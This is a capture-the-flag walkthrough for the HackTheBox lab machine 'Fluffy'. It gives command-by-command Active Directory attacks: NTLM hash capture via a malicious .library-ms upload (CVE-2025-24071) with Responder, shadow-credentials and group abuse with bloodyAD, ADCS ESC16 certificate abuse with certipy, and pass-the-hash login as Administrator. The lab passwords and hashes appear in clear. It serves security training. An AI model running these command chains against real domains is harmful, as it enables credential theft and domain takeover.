Post

Fluffy HackTheBox

Fluffy HackTheBox

Fluffy HackTheBox

Fluffy is an easy-difficulty Windows machine designed around an assumed breach scenario, where credentials for a low-privileged user are provided. By exploiting CVE-2025-24071, the credentials of another low-privileged user can be obtained. Further enumeration reveals the existence of ACLs over the winrm_svc and ca_svc accounts. WinRM can then be used to log in to the target using the winrc_svc account. Exploitation of an Active Directory Certificate service (ESC16) using the ca_svc account is required to obtain access to the Administrator account.

Initial Enumeration

Rustscan

Running rustscan to find the open ports and services running on the box, rustscan is comparatively faster in scanning all the ports than nmap.

1
rustscan -a 10.129.232.88 -r 1-65535 -- -sC -sV -vv -oA nmap/fluffy 10.129.232.88

image.png

image.png

image.png

image.png

image.png

Adding fluffy.htb and DC01.FLUFFY.HTB to our /etc/hosts file. The domain controller be DC01 and the domain name by FLUFFY.HTB. Also there is no web ports open on the box like http and https, so lets move forward with other enumeration steps.

This is an assumed breach scenario that means we have credentials, lets test them across the domain fluffy.htb.

image.png

SMB Enumeration

Lets start with the SMB enumeration.

1
nxc smb 10.129.232.88 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares

image.png

We can see that we have READ permissions on 4 of the shares and READ, WRITE on IT share.

So lets first take a look at the IT share.

1
smbclient //fluffy.htb/IT -U 'j.fleischman'%'J0elTHEM4n1990!'

image.png

The Upgrade_Notice.pdf is important so lets download it. Actually later downloaded all the files onto the share too.

Other files other than the pdf were of no interest to us.

Vulnerable to CVE-2025-24071

Looking at the PDF document we have this.

image.png

image.png

Out of all the available CVEs the CVE which stands out is CVE-2025-24071.

The server is vulnerable to this CVE-2025-24071.

Exploitation

Authentication as P.Agila

Lets first start responder.

1
python3 /opt/Responder/Responder.py -I tun0

image.png

Now lets create a malicious .library-ms file and upload it to IT share in which we have write permissions.

1
python3 poc.py

image.png

Uploading the exploit.zip file to IT share and after sometime we received an hash for the p.agila user.

image.png

Lets try to crack this hash using hashcat.

image.png

Now we have another set of credentials for P.Agila user.

Lets authenticate them across the domain.

1
nxc smb 10.129.232.88 -u 'p.agila' -p 'prometheusx-303' --shares

image.png

Bloodhound

Lets gather some bloodhound data for further enumeration on the domain and see where we can go with the recently compromised user.

Using rusthound-ce to gather all the LDAP data from the domain and uploading it to our bloodhound community edition.

1
rusthound-ce -d fluffy.htb -u 'p.agila' -p 'prometheusx-303' -f dc01.fluffy.htb -i 10.129.232.88 -c All -z

Marking J.Fleischman and P.Agila as owned on bloodhound.

After analyzing data in the bloodhound the path identified to move forward is this.

image.png

P.Agila → SERVICE ACCOUNTS

Using bloodyAD to abuse these privileges on the domain.

1
bloodyAD -d fluffy.htb -i 10.129.232.88 -u 'p.agila' -p 'prometheusx-303' add groupMember 'SERVICE ACCOUNTS' 'p.agila'

image.png

Now we have genericWrite on CA_SVC

ShadowCredentials to CA_SVC

Now since we have the genericWrite on user CA_SVC.

We first adjusted the time sync using ntpdate.

1
sudo ntpdate fluffy.htb

Now performing shadow credentials attack on the user.

1
bloodyAD -d fluffy.htb -i 10.129.232.88 -u 'p.agila' -p 'prometheusx-303' add shadowCredentials 'CA_SVC'

image.png

Now we have the NT hash of the CA_SVC user.

This user indicates that ADCS is involved.

ESC16

Checking outbounds from the CA_SVC user, we have this.

image.png

Lets enumerate the ADCS using certipy.

1
certipy find -vulnerable -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.129.232.88 -stdout

image.png

The domain is vulnerable to ESC16.

https://www.hackingarticles.in/adcs-esc16-security-extension-disabled-on-ca-globally/

The above blog is a great for exploiting this.

Lets check this in our case on user P.agila.

1
certipy account -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.129.232.88 -user p.agila read

image.png

We can successfully read attributes of the user CA_SVC and it also has UPN set on them.

So now we change UPN of CA_SVC to Administrators.

1
certipy account -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.129.232.88 -upn administrator -user ca_svc update

image.png

Now we setup Shadow Credentials on CA_SVC for the PERSISTENCE.

1
certipy shadow -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.129.232.88 -account ca_svc auto

image.png

Now using this CA_SVC.ccache file we can request a .PFX for the administrator since the UPN is set to administrator@fluffy.htb.

1
certipy req -k -dc-ip 10.129.232.88 -ca 'fluffy-DC01-CA' -template 'User' -target dc01.fluffy.htb -dc-host dc01.fluffy.htb

image.png

Using this .PFX to get the administrator NT hash.

image.png

But having errors in requesting due to UPN issues.

To fix this we have to correctly request the certificate with the user’s SID provided in the -req parameter.

1
certipy req -k -dc-ip 10.129.232.88 -sid 'S-1-5-21-497550768-2797716248-2627064577-500' -ca 'fluffy-DC01-CA' -template 'User' -target dc01.fluffy.htb -dc-host dc01.fluffy.htb

image.png

Even after specifying the SID parameter we are not getting the TGT.

So to fix this issue we have to change back the UPN of ca_svc to ca_svc again.

1
certipy account -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.129.232.88 -upn ca_svc -user ca_svc update

image.png

And now if we request it again.

1
certipy auth -pfx administrator.pfx -username administrator -dc-ip 10.129.232.88 -domain fluffy.htb

image.png

We successfully got the TGT.

Now using this TGT we lets get a shell on the box.

1
evil-winrm-py -i 10.129.232.88 -u Administrator -H '8da83a3fa618b6e3a00e93f676c92a6e'

image.png

And the user flag is present in the winrm_svc user desktop.

image.png

Rooted!

image.png

Thanks for reading 😄

This post is licensed under CC BY 4.0 by the author.